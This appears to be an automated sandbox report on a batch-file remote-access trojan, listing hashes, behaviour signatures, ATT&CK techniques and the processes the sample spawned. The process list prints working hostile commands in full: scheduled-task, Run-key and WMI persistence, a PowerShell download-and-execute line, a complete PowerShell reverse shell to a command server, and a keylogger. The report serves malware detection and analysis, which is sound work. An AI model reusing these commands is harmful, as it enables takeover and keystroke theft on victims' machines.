Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 01:40
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_26103_014148.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_26103_014148.bat
Resource
win11-20260513-en
General
- Target rat_build_26103_014148.bat
- Size 4KB
- Sample260529-b3wvesht2n
- SHA256 62e807234ba8df8ac4596d8c987f5909b1ca029ce7041c4075e14c519e8c8703
- MD5 a64c16d91140dc764f25b741b8fe2235
- SHA1 bb63c7f8ced71061ac3fa30994cc54c4c07b7ec0
- SHA512 af49cb316d25111287b2a1adac233c0aca5b03dfa8182b02a7c9a2c6efa9be1af4223f3067065fe0dbe80dc52c30c8cb62edaf579f185929a57965f95a313ba0
- SSDEEP 96:1IIPWFKXOYxnvOucwa7LoKLpYM5R5TTNzN98Hv0g3PEGFviFgZk8mvlo1nd:1yFKXzIDrRAHv0AxFviFgkHlOd
- TLSH T179A1D71757DBA2208DB05618DE323848535CEAF70705D9DEBE8C8DD80A4DB439A29AF3
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_26103.ps1
Signatures
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pid Process 1836 powershell.exe 432 powershell.exe 4908 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_26103 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_26103.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 2344 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2236 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 1744 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5408 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1836 powershell.exe 1836 powershell.exe 432 powershell.exe 432 powershell.exe 4908 powershell.exe 4908 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2292 WMIC.exe Token: SeSecurityPrivilege 2292 WMIC.exe Token: SeTakeOwnershipPrivilege 2292 WMIC.exe Token: SeLoadDriverPrivilege 2292 WMIC.exe Token: SeSystemProfilePrivilege 2292 WMIC.exe Token: SeSystemtimePrivilege 2292 WMIC.exe Token: SeProfSingleProcessPrivilege 2292 WMIC.exe Token: SeIncBasePriorityPrivilege 2292 WMIC.exe Token: SeCreatePagefilePrivilege 2292 WMIC.exe Token: SeBackupPrivilege 2292 WMIC.exe Token: SeRestorePrivilege 2292 WMIC.exe Token: SeShutdownPrivilege 2292 WMIC.exe Token: SeDebugPrivilege 2292 WMIC.exe Token: SeSystemEnvironmentPrivilege 2292 WMIC.exe Token: SeRemoteShutdownPrivilege 2292 WMIC.exe Token: SeUndockPrivilege 2292 WMIC.exe Token: SeManageVolumePrivilege 2292 WMIC.exe Token: 33 2292 WMIC.exe Token: 34 2292 WMIC.exe Token: 35 2292 WMIC.exe Token: 36 2292 WMIC.exe Token: SeIncreaseQuotaPrivilege 2292 WMIC.exe Token: SeSecurityPrivilege 2292 WMIC.exe Token: SeTakeOwnershipPrivilege 2292 WMIC.exe Token: SeLoadDriverPrivilege 2292 WMIC.exe Token: SeSystemProfilePrivilege 2292 WMIC.exe Token: SeSystemtimePrivilege 2292 WMIC.exe Token: SeProfSingleProcessPrivilege 2292 WMIC.exe Token: SeIncBasePriorityPrivilege 2292 WMIC.exe Token: SeCreatePagefilePrivilege 2292 WMIC.exe Token: SeBackupPrivilege 2292 WMIC.exe Token: SeRestorePrivilege 2292 WMIC.exe Token: SeShutdownPrivilege 2292 WMIC.exe Token: SeDebugPrivilege 2292 WMIC.exe Token: SeSystemEnvironmentPrivilege 2292 WMIC.exe Token: SeRemoteShutdownPrivilege 2292 WMIC.exe Token: SeUndockPrivilege 2292 WMIC.exe Token: SeManageVolumePrivilege 2292 WMIC.exe Token: 33 2292 WMIC.exe Token: 34 2292 WMIC.exe Token: 35 2292 WMIC.exe Token: 36 2292 WMIC.exe Token: SeIncreaseQuotaPrivilege 5372 WMIC.exe Token: SeSecurityPrivilege 5372 WMIC.exe Token: SeTakeOwnershipPrivilege 5372 WMIC.exe Token: SeLoadDriverPrivilege 5372 WMIC.exe Token: SeSystemProfilePrivilege 5372 WMIC.exe Token: SeSystemtimePrivilege 5372 WMIC.exe Token: SeProfSingleProcessPrivilege 5372 WMIC.exe Token: SeIncBasePriorityPrivilege 5372 WMIC.exe Token: SeCreatePagefilePrivilege 5372 WMIC.exe Token: SeBackupPrivilege 5372 WMIC.exe Token: SeRestorePrivilege 5372 WMIC.exe Token: SeShutdownPrivilege 5372 WMIC.exe Token: SeDebugPrivilege 5372 WMIC.exe Token: SeSystemEnvironmentPrivilege 5372 WMIC.exe Token: SeRemoteShutdownPrivilege 5372 WMIC.exe Token: SeUndockPrivilege 5372 WMIC.exe Token: SeManageVolumePrivilege 5372 WMIC.exe Token: 33 5372 WMIC.exe Token: 34 5372 WMIC.exe Token: 35 5372 WMIC.exe Token: 36 5372 WMIC.exe Token: SeIncreaseQuotaPrivilege 5372 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 5164 wrote to memory of 5408 5164 cmd.exe 89 PID 5164 wrote to memory of 1744 5164 cmd.exe 90 PID 5164 wrote to memory of 2292 5164 cmd.exe 91 PID 5164 wrote to memory of 5372 5164 cmd.exe 92 PID 5164 wrote to memory of 3476 5164 cmd.exe 94 PID 5164 wrote to memory of 2236 5164 cmd.exe 111 PID 5164 wrote to memory of 2344 5164 cmd.exe 115 PID 5164 wrote to memory of 1836 5164 cmd.exe 116 PID 5164 wrote to memory of 432 5164 cmd.exe 117 PID 5164 wrote to memory of 4908 5164 cmd.exe 118 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_26103_014148.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:5164 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_26103" /tr "C:\Users\Admin\AppData\Local\Temp\_26103.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5408
-
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C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_26103" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_26103.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:1744
-
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_26103", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2292
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_26103", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_26103.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5372
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_26103.txt2⤵PID:3476
-
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C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:2236
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:2344
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_26103.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1836
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:432
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4908
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 9f471412786addc809790c6e52e2376ef5811607d01eda05c069bff888acc29a
- MD5 63a6eaef60185c9ee7381a7f54cd214d
- SHA1 6811db246c1ed9ff13a82affaeb7b8c48b312e69
- SHA512 02d6773e46190d3c2d9943bcc8359041de15ab9a76e2dd03d1cc085a7ff8d7ab72a78a9dd340dc2fec989498063de590938216af582c4bcc613879b58c966663
- TLSH T1CF115327B39C8921CC96153A409DAC1172B683DB81AEDE9FAFC5D214A07F984CB612A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 193ff6638fb8aff4a5202080bb3323a079ebd630363b1fb5627500a61f50d1bb
- MD5 018209c2aca91af0ff46ed3d8c79d783
- SHA1 9cc2669bbcd94af4a242c6eb8fddbe8f3ab34e49
- SHA512 0f58c488963bf78a18a1ce957b30ac9328ab707104737a5bf54ee3fd5043aed810cca8fcb5a0bc24d773556184924ed5df01bda84618d547f6acea23a8884faa
- TLSH T1A7115727B39C89A1CC96153A409D9C1172B683DB409EDEDF7BC0D214A1BF584CB61190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sptqzj0f.gjp.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH